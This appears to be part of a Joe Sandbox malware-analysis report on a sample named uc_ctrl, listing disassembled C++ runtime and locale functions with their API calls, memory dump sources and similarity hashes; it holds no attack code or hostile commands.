Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1AD921,?,?,00000000,?,?,?,00000004), ref: 6D1A2F68

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6D1AD921,?,?,00000000,?,?,?,00000004), ref: 6D1A2F7C

Part of subcall function 6D1A2EF0: __EH_prolog3.LIBCMT ref: 6D1A2EF7
Part of subcall function 6D1A2EF0: _Getcvt.MSVCP140(?,00000030,6D1A2F81,00000000,00000000,0000003C,6D1AD921,?,?,00000000,?,?,?,00000004), ref: 6D1A2F15

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6D1AD921,?,?,00000000,?,?,?,00000004), ref: 6D1A2F86

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 746237128-0
Opcode ID: 871f620f94799ea460df3517dfee35955a1d97f781f1932bd23b0a5f2cd3605d
Instruction ID: 8b6f169c41706f72cedd50439e5f5730312c60e40019b36923bfa0d3a1085003
Opcode Fuzzy Hash: 871f620f94799ea460df3517dfee35955a1d97f781f1932bd23b0a5f2cd3605d
Instruction Fuzzy Hash: 02F09078908316DADB01DFA4C450A9DBBB5BF14318F554429D604EB288DBF55A40C752

Function 6D1B2080 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B2087
new.LIBCMT ref: 6D1B209E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1B9B04,?,?,00000000,?,?,?,00000004), ref: 6D1B20B8

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??0?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6D1B9B04,?,?,00000000,?,?,?,00000004), ref: 6D1B20CC

Part of subcall function 6D1B20F0: __EH_prolog3.LIBCMT ref: 6D1B20F7
Part of subcall function 6D1B20F0: ?_Init@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000004,6D1B20D1,00000000,00000000,0000003C,6D1B9B04,?,?,00000000,?,?,?,00000004), ref: 6D1B2114

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6D1B9B04,?,?,00000000,?,?,?,00000004), ref: 6D1B20D6

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$U?$char_traits@_V?$istreambuf_iterator@_W@std@@@std@@@std@@$??0?$time_get@_??0_??1_ExceptionInit@?$time_get@_Locinfo@1@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2585548664-0
Opcode ID: 9427dcab0a8ebf5f9d0a9ec5e405d92329fcfe3dd118abc1243f0a522f0e904d
Instruction ID: cfffe394b2725131ea1468d2c3f38469c76bbed56ec5caea6c69d021bfaa1d95
Opcode Fuzzy Hash: 9427dcab0a8ebf5f9d0a9ec5e405d92329fcfe3dd118abc1243f0a522f0e904d
Instruction Fuzzy Hash: F3F02474908306DFCF00EFE4C440BAEBBB4BF14308F120019D604AB288DBF84680C792

Function 6D1A2A80 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A2A87
new.LIBCMT ref: 6D1A2A9E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1AE018,?,?,00000000,?,?,?,00000004), ref: 6D1A2AB8

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6D1AE018,?,?,00000000,?,?,?,00000004), ref: 6D1A2ACC

Part of subcall function 6D1A2A40: __EH_prolog3.LIBCMT ref: 6D1A2A47
Part of subcall function 6D1A2A40: _Getcvt.MSVCP140(?,00000030,6D1A2AD1,00000000,00000000,0000003C,6D1AE018,?,?,00000000,?,?,?,00000004), ref: 6D1A2A65

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6D1AE018,?,?,00000000,?,?,?,00000004), ref: 6D1A2AD6

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@_??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2338120120-0
Opcode ID: 871f620f94799ea460df3517dfee35955a1d97f781f1932bd23b0a5f2cd3605d
Instruction ID: 920da192d2d128340b54b9dfd80aaea6313717ac467019b982d3c0defb45bf0a
Opcode Fuzzy Hash: 871f620f94799ea460df3517dfee35955a1d97f781f1932bd23b0a5f2cd3605d
Instruction Fuzzy Hash: 14F0B479908306EBDF10DFA4C450B9DBBB4FF14318F554419D605AB289DBF55680C752

Function 6CF1AD75 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161memorywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF1AD7F
GlobalAlloc.KERNEL32(00000040,0000000C), ref: 6CF1AE08
SendMessageW.USER32 ref: 6CF1AF17

Strings

g, xrefs: 6CF1ADF0

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: AllocGlobalH_prolog3MessageSend
String ID: g
API String ID: 3600573425-30677878
Opcode ID: 9eab1fce16459c8cff5987425f6470342f1e5cfdc974d8d046da718dce090d77
Instruction ID: a0642af7a09b4669560842998cc7e6695005dc53750b0675e4f3815727fe8458
Opcode Fuzzy Hash: 9eab1fce16459c8cff5987425f6470342f1e5cfdc974d8d046da718dce090d77
Instruction Fuzzy Hash: 09516771A002199FEF15CFA0CC85BEEBBB6BF48304F104159E915BB690DB71AA05CFA5

Function 6D1B8B2C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1B8B33
_Getcvt.MSVCP140(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B41

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B50

Part of subcall function 6D1AB342: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,?,00000000,6D1BC413,0000000B,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?), ref: 6D1AB358

Strings

$+xv, xrefs: 6D1B8C25

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: GetcvtH_prolog3_catch___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcalloclocaleconv
String ID: $+xv
API String ID: 3591613707-1686923651
Opcode ID: 3947734c3232ba7a18a1bfacce38cb3a789cc56904620e918c691032b169afe5
Instruction ID: d028b69129ec91e91df1bd4fdc4f90ead4571f7024246cdbcb767ce25ae2d36a
Opcode Fuzzy Hash: 3947734c3232ba7a18a1bfacce38cb3a789cc56904620e918c691032b169afe5
Instruction Fuzzy Hash: D531D0B45087828FDB15CF34C09026BBBF8AF59300B14459ED99ACF65AC7B4EA41CF91

Function 6D1B8197 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1B819E
_Getcvt.MSVCP140(?,00000034,6D1AFD27), ref: 6D1B81AC

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1AFD27), ref: 6D1B81BB

Part of subcall function 6D1AB342: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,?,00000000,6D1BC413,0000000B,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?), ref: 6D1AB358

Strings

$+xv, xrefs: 6D1B8243

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: GetcvtH_prolog3_catch___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcalloclocaleconv
String ID: $+xv
API String ID: 3591613707-1686923651
Opcode ID: ca413211a1122eb14b234d07be49131aca6c4f3b5d6bbdc97a09011f3281114c
Instruction ID: 9a9f9b2c823a8aa80c8c34f504a560b544fff46bb50e51f69736a81955a022d4
Opcode Fuzzy Hash: ca413211a1122eb14b234d07be49131aca6c4f3b5d6bbdc97a09011f3281114c
Instruction Fuzzy Hash: BC21B0B1908692AEDB05CF68C49067A7FE8AF1D700715419AE958CB64AC7B4DA12CFD0

Function 6D1BA5D6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

_Getcvt.MSVCP140(?,?,?,00000000), ref: 6D1BA5ED

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(?,?,?,00000000), ref: 6D1BA603

Part of subcall function 6D1A16B0: _Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A16B4
Part of subcall function 6D1A16B0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6D1A16C4
Part of subcall function 6D1A16B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A16CA

Part of subcall function 6D1AE401: _Mbrtowc.MSVCP140(6D1B96D5,false,?,00000000,6D1B96D5,?,00000000,?,?,6D1B7141), ref: 6D1AE440
Part of subcall function 6D1AE401: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000002,?,00000000,?,?,6D1B7141), ref: 6D1AE45A
Part of subcall function 6D1AE401: _Mbrtowc.MSVCP140(00000000,false,00000001,00000000,6D1B96D5), ref: 6D1AE483

?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(?,?,?,00000000), ref: 6D1BA61B

Part of subcall function 6D1A16F0: _Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A16F4
Part of subcall function 6D1A16F0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6D1A1704
Part of subcall function 6D1A16F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A170A

Part of subcall function 6D1AE401: Concurrency::cancel_current_task.LIBCPMT(6D1B7141), ref: 6D1AE4A8
Part of subcall function 6D1AE401: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6D1B8C7E,?,?,00000000), ref: 6D1AE4CD
Part of subcall function 6D1AE401: memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE4E1

Strings

:AM:am:PM:pm, xrefs: 6D1BA629

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??4?$_D@std@@Locinfo@std@@MbrtowcV01@Yarn@callocfree$Concurrency::cancel_current_taskGetcvtGetdaysGetdays@_GetmonthsGetmonths@____lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadmemcpy
String ID: :AM:am:PM:pm
API String ID: 2913087984-1966799564
Opcode ID: a7bc31fd6f6288111e6842ee6b698578555034b6b57fa84e9006c7735582ea8c
Instruction ID: 5967f4c75bb61256f9871e7f7cde301b16883d09563e75f3181c3035f4777aab
Opcode Fuzzy Hash: a7bc31fd6f6288111e6842ee6b698578555034b6b57fa84e9006c7735582ea8c
Instruction Fuzzy Hash: 00F02D776083001BC704DE78988481BB7DCEB44234B15893EF915CB385EFF5AD008780

Function 00B38487 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B384BD
__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00B384C3

Strings

csm, xrefs: 00B38498

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: __scrt_initialize_thread_safe_statics_platform_specificterminate
String ID: csm
API String ID: 2780679314-1018135373
Opcode ID: 113852830a121435ad629e62b01a9e982f77f8e36cb89c971d85d80828e586a5
Instruction ID: 092112905644e6c3d22ffe1f300faa389de1a0d36b80f8297a06532b794cf950
Opcode Fuzzy Hash: 113852830a121435ad629e62b01a9e982f77f8e36cb89c971d85d80828e586a5
Instruction Fuzzy Hash: D7F0F975A403099FCF48EFACD846B9D77F1AB08710F340495F508EB791DF65AD808A6A

Function 6D1B8C50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_Getcvt.MSVCP140(?,?,?,00000000), ref: 6D1B8C5F

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

?_W_Getdays@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6D1B8C72

Part of subcall function 6D1A1780: _W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A1784
Part of subcall function 6D1A1780: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6D1A1794
Part of subcall function 6D1A1780: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A179A

Part of subcall function 6D1AE4AE: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6D1B8C7E,?,?,00000000), ref: 6D1AE4CD
Part of subcall function 6D1AE4AE: memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE4E1

?_W_Getmonths@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6D1B8C84

Part of subcall function 6D1A17C0: _W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A17C4
Part of subcall function 6D1A17C0: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6D1A17D4
Part of subcall function 6D1A17C0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A17DA

Part of subcall function 6D1AE4AE: Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6D1AE4EF
Part of subcall function 6D1AE4AE: __EH_prolog3.LIBCMT ref: 6D1AE507
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE52F
Part of subcall function 6D1AE4AE: ??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE543
